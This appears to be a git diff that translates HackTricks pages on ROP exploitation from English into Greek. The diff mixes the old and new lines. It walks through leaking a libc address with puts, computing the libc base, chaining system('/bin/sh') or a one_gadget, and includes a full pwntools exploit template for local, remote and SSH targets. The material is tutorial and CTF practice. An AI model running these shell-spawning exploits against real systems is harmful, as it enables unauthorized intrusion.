||||
Δίνοντας τη **διαδρομή** προς τη **βιβλιοθήκη libc**, το υπόλοιπο της **εκμετάλλευσης θα υπολογιστεί αυτόματα**.
|
||||
|
||||
Μέσα στη συνάρτηση `get_addr` θα υπολογιστεί η **βασική διεύθυνση της βιβλιοθήκης libc**:
|
||||
```python
|
||||
if libc != "":
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
|
||||
Σημείωση ότι η **τελική βάση διεύθυνσης της libc πρέπει να τελειώνει σε 00**. Αν αυτό δεν ισχύει για εσάς, μπορεί να έχετε διαρρεύσει μια εσφαλμένη βιβλιοθήκη.
|
||||
{% endhint %}
|
||||
|
||||
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
|
||||
|
||||
Στη συνέχεια, η διεύθυνση της συνάρτησης `system` και η **διεύθυνση** του αλφαριθμητικού _"/bin/sh"_ θα υπολογιστούν από τη **βάση διεύθυνσης** της **libc** και την **δοθείσα βιβλιοθήκη libc**.
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
||||
SYSTEM = libc.sym["system"]
|
||||
|
@ -243,9 +220,7 @@ EXIT = libc.sym["exit"]
|
|||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
```
|
||||
|
||||
Finally, the /bin/sh execution exploit is going to be prepared sent:
|
||||
|
||||
Τελικά, η εκμετάλλευση εκτέλεσης του /bin/sh θα προετοιμαστεί και θα αποσταλεί:
|
||||
```python
|
||||
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||||
|
||||
|
@ -255,80 +230,68 @@ p.sendline(rop2)
|
|||
#### Interact with the shell #####
|
||||
p.interactive() #Interact with the conenction
|
||||
```
|
||||
Ας εξηγήσουμε αυτό το τελικό ROP.\
|
||||
Το τελευταίο ROP (`rop1`) τελείωσε καλώντας ξανά την κύρια συνάρτηση, οπότε μπορούμε να **εκμεταλλευτούμε ξανά** την **υπερχείλιση** (γι' αυτό είναι εδώ ξανά το `OFFSET`). Στη συνέχεια, θέλουμε να καλέσουμε το `POP_RDI` δείχνοντας στη διεύθυνση του _"/bin/sh"_ (`BINSH`) και να καλέσουμε τη συνάρτηση **system** (`SYSTEM`) επειδή η διεύθυνση του _"/bin/sh"_ θα περάσει ως παράμετρος.\
|
||||
Τέλος, καλείται η **διεύθυνση της συνάρτησης exit** έτσι ώστε η διαδικασία να **τερματίσει κανονικά** και να μην παράγεται καμία ειδοποίηση.
|
||||
|
||||
Let's explain this final ROP.\
|
||||
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
|
||||
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
|
||||
|
||||
**This way the exploit will execute a **_**/bin/sh**_** shell.**
|
||||
**Με αυτόν τον τρόπο, το exploit θα εκτελέσει ένα κέλυφος **_**/bin/sh**_**.**
|
||||
|
||||
![](<../../../.gitbook/assets/image (143).png>)
|
||||
|
||||
# 4(2)- Using ONE\_GADGET
|
||||
# 4(2)- Χρήση ONE\_GADGET
|
||||
|
||||
You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**. \
|
||||
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε το [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) για να αποκτήσετε ένα κέλυφος αντί να χρησιμοποιήσετε τις συναρτήσεις **system** και **"/bin/sh". ONE\_GADGET** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο να αποκτήσετε ένα κέλυφος χρησιμοποιώντας μόνο μια **διεύθυνση ROP**.\
|
||||
Ωστόσο, συνήθως υπάρχουν κάποιοι περιορισμοί, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς έχετε έλεγχο επί των τιμών μέσα στο **RSP**, απλά πρέπει να στείλετε μερικές επιπλέον τιμές NULL ώστε να αποφευχθεί ο περιορισμός.
|
||||
|
||||
![](<../../../.gitbook/assets/image (615).png>)
|
||||
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
# ΑΡΧΕΙΟ ΕΚΜΕΤΑΛΛΕΥΣΗΣ
|
||||
|
||||
# EXPLOIT FILE
|
||||
|
||||
You can find a template to exploit this vulnerability here:
|
||||
Μπορείτε να βρείτε ένα πρότυπο για να εκμεταλλευτείτε αυτήν την ευπάθεια εδώ:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-template.md" %}
|
||||
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
# Common problems
|
||||
# Συνηθισμένα προβλήματα
|
||||
|
||||
## MAIN\_PLT = elf.symbols\['main'] not found
|
||||
|
||||
If the "main" symbol does not exist. Then you can just where is the main code:
|
||||
## MAIN\_PLT = elf.symbols\['main'] δεν βρέθηκε
|
||||
|
||||
Αν το σύμβολο "main" δεν υπάρχει, τότε μπορείτε απλά να βρείτε πού βρίσκεται ο κώδικας του main:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
0000000000401080 <.text>:
|
||||
```
|
||||
|
||||
and set the address manually:
|
||||
|
||||
και ορίστε τη διεύθυνση χειροκίνητα:
|
||||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
## Η συνάρτηση Puts δεν βρέθηκε
|
||||
|
||||
## Puts not found
|
||||
|
||||
If the binary is not using Puts you should check if it is using
|
||||
Εάν το δυαδικό αρχείο δεν χρησιμοποιεί τη συνάρτηση Puts, θα πρέπει να ελέγξετε εάν χρησιμοποιεί
|
||||
|
||||
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Try to **subtract 64 bytes to the address of "/bin/sh"**:
|
||||
Εάν βρείτε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των εκμεταλλεύσεων: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Προσπαθήστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**:
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -35,25 +33,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
|
|||
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
|
||||
|
||||
if LOCAL:
|
||||
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTETTCP:
|
||||
P = remote('10.10.10.10',1339) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
P = remote('10.10.10.10',1339) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTESSH:
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
elf = ELF(LOCAL_BIN)# Extract data from binary
|
||||
rop = ROP(elf)# Find ROP gadgets
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
elf = ELF(LOCAL_BIN)# Extract data from binary
|
||||
rop = ROP(elf)# Find ROP gadgets
|
||||
|
||||
if GDB and not REMOTETTCP and not REMOTESSH:
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main")
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main")
|
||||
|
||||
|
||||
|
||||
|
@ -63,15 +61,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
|
|||
|
||||
OFFSET = b"" #b"A"*264
|
||||
if OFFSET == b"":
|
||||
gdb.attach(P.pid, "c") #Attach and continue
|
||||
payload = cyclic(264)
|
||||
payload += b"AAAAAAAA"
|
||||
print(P.clean())
|
||||
P.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
|
||||
P.interactive()
|
||||
exit()
|
||||
gdb.attach(P.pid, "c") #Attach and continue
|
||||
payload = cyclic(264)
|
||||
payload += b"AAAAAAAA"
|
||||
print(P.clean())
|
||||
P.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
|
||||
P.interactive()
|
||||
exit()
|
||||
|
||||
|
||||
|
||||
|
@ -79,11 +77,11 @@ if OFFSET == b"":
|
|||
### Find Gadgets ###
|
||||
####################
|
||||
try:
|
||||
libc_func = "puts"
|
||||
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
|
||||
libc_func = "puts"
|
||||
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
|
||||
except:
|
||||
libc_func = "printf"
|
||||
PUTS_PLT = ELF_LOADED.plt['printf']
|
||||
libc_func = "printf"
|
||||
PUTS_PLT = ELF_LOADED.plt['printf']
|
||||
|
||||
MAIN_PLT = ELF_LOADED.symbols['main']
|
||||
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
|
||||
|
@ -100,54 +98,54 @@ log.info("ret gadget: " + hex(RET))
|
|||
########################
|
||||
|
||||
def generate_payload_aligned(rop):
|
||||
payload1 = OFFSET + rop
|
||||
if (len(payload1) % 16) == 0:
|
||||
return payload1
|
||||
|
||||
else:
|
||||
payload2 = OFFSET + p64(RET) + rop
|
||||
if (len(payload2) % 16) == 0:
|
||||
log.info("Payload aligned successfully")
|
||||
return payload2
|
||||
else:
|
||||
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
|
||||
return payload1
|
||||
payload1 = OFFSET + rop
|
||||
if (len(payload1) % 16) == 0:
|
||||
return payload1
|
||||
|
||||
else:
|
||||
payload2 = OFFSET + p64(RET) + rop
|
||||
if (len(payload2) % 16) == 0:
|
||||
log.info("Payload aligned successfully")
|
||||
return payload2
|
||||
else:
|
||||
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
|
||||
return payload1
|
||||
|
||||
|
||||
def get_addr(libc_func):
|
||||
FUNC_GOT = ELF_LOADED.got[libc_func]
|
||||
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
rop1 = generate_payload_aligned(rop1)
|
||||
FUNC_GOT = ELF_LOADED.got[libc_func]
|
||||
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
rop1 = generate_payload_aligned(rop1)
|
||||
|
||||
# Send our rop-chain payload
|
||||
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
|
||||
print(P.clean()) # clean socket buffer (read all and print)
|
||||
P.sendline(rop1)
|
||||
# Send our rop-chain payload
|
||||
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
|
||||
print(P.clean()) # clean socket buffer (read all and print)
|
||||
P.sendline(rop1)
|
||||
|
||||
# If binary is echoing back the payload, remove that message
|
||||
recieved = P.recvline().strip()
|
||||
if OFFSET[:30] in recieved:
|
||||
recieved = P.recvline().strip()
|
||||
|
||||
# Parse leaked address
|
||||
log.info(f"Len rop1: {len(rop1)}")
|
||||
leak = u64(recieved.ljust(8, b"\x00"))
|
||||
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
|
||||
|
||||
# Set lib base address
|
||||
if LIBC:
|
||||
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
|
||||
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
|
||||
log.info("LIBC base @ %s" % hex(LIBC.address))
|
||||
# If binary is echoing back the payload, remove that message
|
||||
recieved = P.recvline().strip()
|
||||
if OFFSET[:30] in recieved:
|
||||
recieved = P.recvline().strip()
|
||||
|
||||
# If not LIBC yet, stop here
|
||||
else:
|
||||
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
|
||||
P.interactive()
|
||||
|
||||
return hex(leak)
|
||||
# Parse leaked address
|
||||
log.info(f"Len rop1: {len(rop1)}")
|
||||
leak = u64(recieved.ljust(8, b"\x00"))
|
||||
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
|
||||
|
||||
# Set lib base address
|
||||
if LIBC:
|
||||
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
|
||||
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
|
||||
log.info("LIBC base @ %s" % hex(LIBC.address))
|
||||
|
||||
# If not LIBC yet, stop here
|
||||
else:
|
||||
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
|
||||
P.interactive()
|
||||
|
||||
return hex(leak)
|
||||
|
||||
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
|
||||
|
||||
|
@ -160,39 +158,39 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
|
|||
## Via One_gadget (https://github.com/david942j/one_gadget)
|
||||
# gem install one_gadget
|
||||
def get_one_gadgets(libc):
|
||||
import string, subprocess
|
||||
args = ["one_gadget", "-r"]
|
||||
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
|
||||
args += ["-b", libc.hex()]
|
||||
else:
|
||||
args += [libc]
|
||||
try:
|
||||
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
|
||||
except:
|
||||
print("One_gadget isn't installed")
|
||||
one_gadgets = []
|
||||
return
|
||||
import string, subprocess
|
||||
args = ["one_gadget", "-r"]
|
||||
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
|
||||
args += ["-b", libc.hex()]
|
||||
else:
|
||||
args += [libc]
|
||||
try:
|
||||
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
|
||||
except:
|
||||
print("One_gadget isn't installed")
|
||||
one_gadgets = []
|
||||
return
|
||||
|
||||
rop2 = b""
|
||||
if USE_ONE_GADGET:
|
||||
one_gadgets = get_one_gadgets(LIBC)
|
||||
if one_gadgets:
|
||||
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
|
||||
one_gadgets = get_one_gadgets(LIBC)
|
||||
if one_gadgets:
|
||||
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
|
||||
|
||||
## Normal/Long exploitation
|
||||
if not rop2:
|
||||
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
|
||||
SYSTEM = LIBC.sym["system"]
|
||||
EXIT = LIBC.sym["exit"]
|
||||
|
||||
log.info("POP_RDI %s " % hex(POP_RDI))
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
log.info("exit %s " % hex(EXIT))
|
||||
|
||||
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
|
||||
rop2 = generate_payload_aligned(rop2)
|
||||
|
||||
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
|
||||
SYSTEM = LIBC.sym["system"]
|
||||
EXIT = LIBC.sym["exit"]
|
||||
|
||||
log.info("POP_RDI %s " % hex(POP_RDI))
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
log.info("exit %s " % hex(EXIT))
|
||||
|
||||
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
|
||||
rop2 = generate_payload_aligned(rop2)
|
||||
|
||||
|
||||
print(P.clean())
|
||||
P.sendline(rop2)
|
||||
|
@ -201,51 +199,42 @@ P.interactive() #Interact with your shell :)
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
# Common problems
|
||||
# Συνηθισμένα προβλήματα
|
||||
|
||||
## MAIN\_PLT = elf.symbols\['main'] not found
|
||||
|
||||
If the "main" symbol does not exist. Then you can just where is the main code:
|
||||
## MAIN\_PLT = elf.symbols\['main'] δεν βρέθηκε
|
||||
|
||||
Εάν το σύμβολο "main" δεν υπάρχει, τότε μπορείτε απλά να βρείτε πού βρίσκεται ο κώδικας του main:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
0000000000401080 <.text>:
|
||||
```
|
||||
|
||||
and set the address manually:
|
||||
|
||||
και ορίστε τη διεύθυνση χειροκίνητα:
|
||||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
## Η συνάρτηση Puts δεν βρέθηκε
|
||||
|
||||
## Puts not found
|
||||
|
||||
If the binary is not using Puts you should check if it is using
|
||||
Εάν το δυαδικό αρχείο δεν χρησιμοποιεί τη συνάρτηση Puts, θα πρέπει να ελέγξετε εάν χρησιμοποιεί
|
||||
|
||||
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Try to **subtract 64 bytes to the address of "/bin/sh"**:
|
||||
Εάν βρείτε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των εκμεταλλεύσεων: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Προσπαθήστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**:
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,32 +1,31 @@
|
|||
# ROP - call sys\_execve
|
||||
# ROP - κλήση sys_execve
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
